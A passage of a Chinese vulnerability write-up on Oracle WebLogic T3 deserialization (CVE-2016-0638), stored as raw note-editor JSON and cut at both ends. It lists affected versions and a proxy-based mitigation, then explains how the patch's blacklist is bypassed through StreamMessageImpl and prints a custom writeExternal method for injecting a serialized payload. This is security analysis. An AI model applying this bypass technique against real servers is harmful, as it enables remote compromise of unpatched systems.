te&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PnhA-1673575890560&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;D5Gb-1673576153123&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9vQ9-1673575890559&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;web代理的方式只能转发HTTP的请求，而不会转发T3协议的请求，这就能防御住T3漏洞的攻击。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q8DI-1673575890562&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;D5Gb-1673576153123&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QAPu-1673575890561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;负载均衡的情况下，可以指定需要进行负载均衡的协议类型，这么这里就可以设置为HTTP的请求，不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JZVb-1673575776235&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;POB3-1673575776234&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;21uV-1673851526921&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vm0s-1673851526920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2016-0638&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LmUr-1673851524464&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JxU3-1673851524462&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hhbx-1673851655912&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9XP2-1673851655913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jK6a-1673851655914&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4O3m-1673851655915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EGx2-1673851655916&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kTYP-1673851655917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cNc7-1673851655919&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z4CH-1673851655920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fg9y-1673857573620&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;McGd-1673857573619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VBqe-1673851640393&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MIYo-1673851640391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;上文中我们提到，补丁对&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.iiop.Utils.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.rjvm.MsgAbbrevInputStream.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.rjvm.InboundMsgAbbrev.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;三个类中的反序列化过程进行了黑名单过滤，而在&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.jms.common.StreamMessageImpl&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;类的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;readExternal&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;方法中同样存在readObject操作:&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MY5N-1673852393554&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5096/WEBRESOURCEdf79a09b7d85458cba7ceeb51b8a92e2&#34;,&#34;width&#34;:598,&#34;height&#34;:380},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qcNb-1673852423076&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FdEM-1673852423077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;所以我们需自定义实现一个StreamMessageImpl类。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UYOq-1673852750724&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DadL-1673852750722&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;观察其writeExternal与readExternal方法可见，我们需要自定义实现一个writeExternal逻辑将payload写入序列化过程：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1DL-1673852728559&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lpzO-1673852728514&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V0gk-1673852728513&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void writeExternal(ObjectOutput var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tP6G-1673852862577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NCs3-1673852862576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.writeExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KzgM-1673852862579&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LxJA-1673852862578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int var3 = Integer.MAX_VALUE;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O0PZ-1673852862581&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W5fL-1673852862580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ObjectOutput var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y7ej-1673852862583&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PJNa-1673852862582&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var1 instanceof MessageImpl.JMSObjectOutputWrapper) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CpM7-1673852862585&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IwGd-1673852862584&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3 = ((MessageImpl.JMSObjectOutputWrapper)var1).getCompressionThreshold();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G0bx-1673852862587&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RC2G-1673852862586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2 = ((MessageImpl.JMSObjectOutputWrapper)var1).getInnerObjectOutput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1e0D-1673852862589&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p0wX-1673852862588&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;446g-1673852862591&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UkIo-1673852862590&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2 = var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vWqu-1673852862593&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S2M6-1673852862592&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MiYS-1673852862595&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tn9r-1673852862594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;toOE-1673852862597&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vm2E-1673852862596&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uHzz-1673852862599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n6fB-1673852862598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.getVersion(var2) &gt;= 30) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6R8V-1673852862601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;trIs-1673852862600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rSat-1673852862603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jkjy-1673852862602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OX0Y-1673852862605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZYrW-1673852862604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var4 = 2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CyRR-1673852862608&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TBHN-1673852862607&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;54Kc-1673852862610&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BXZN-1673852862609&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vIfb-1673852862612&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g2wt-1673852862611&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var2.writeByte(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wfrk-1673852862614&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s9wy-1673852862613&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.isCompressed()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hKvx-1673852862616&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;liMy-1673852862615&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (var4 == 2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hV5y-1673852862618&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Et9-1673852862617&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.decompress().writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bi7I-1673852862620&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vjya-1673852862619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Demk-1673852862622&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P1cJ-1673852862621&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.flushCompressedMessageBody(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oLlK-1673852862624&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rDxj-1673852862623&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pSDg-1673852862626&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8XKR-1673852862625&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pX13-1673852862628&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rcng-1673852862627&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4mVF-1673852862630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YnMH-1673852862629&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object var5;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zDAT-1673852862632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ye7r-1673852862631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.bos != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gU7N-1673852862634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OFRG-1673852862633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var5 = this.bos;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y5wO-1673852862636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DbLt-1673852862635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i8UI-1673852862638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GU2u-1673852862637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (this.payload == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q3II-1673852862640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CWEE-1673852862639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                var2.writeInt(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xxsK-1673852862642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fzyx-1673852862641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GCB4-1673852862644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cLJj-1673852862643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b0Gy-1673852862646&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NZTX-1673852862645&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UO3U-1673852862648&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jiOU-1673852862647&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var5 = this.payload;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CORg-1673852862650&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g9D1-1673852862649&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Npat-1673852862652&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;34ju-1673852862651&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hk13-1673852862654&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FCZ-1673852862653&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if ((var4 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCvc-1673852862656&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cqqo-1673852862655&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeExternalCompressPayload(var2, (Payload)var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ow1e-1673852862658&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6hI1-1673852862657&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5LfR-1673852862660&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QJGV-1673852862659&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ((Payload)var5).writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ejf5-1673852862662&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e6Y7-1673852862661&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kfvf-1673852862664&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6BMA-1673852862663&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cWzn-1673852862666&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F5Sa-1673852862665&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cdKt-1673852862668&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DDRv-1673852862667&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GnA9-1673852863122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;H0RE-1673852863121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D6pP-1673852863296&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z0pX-1673852863295&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException 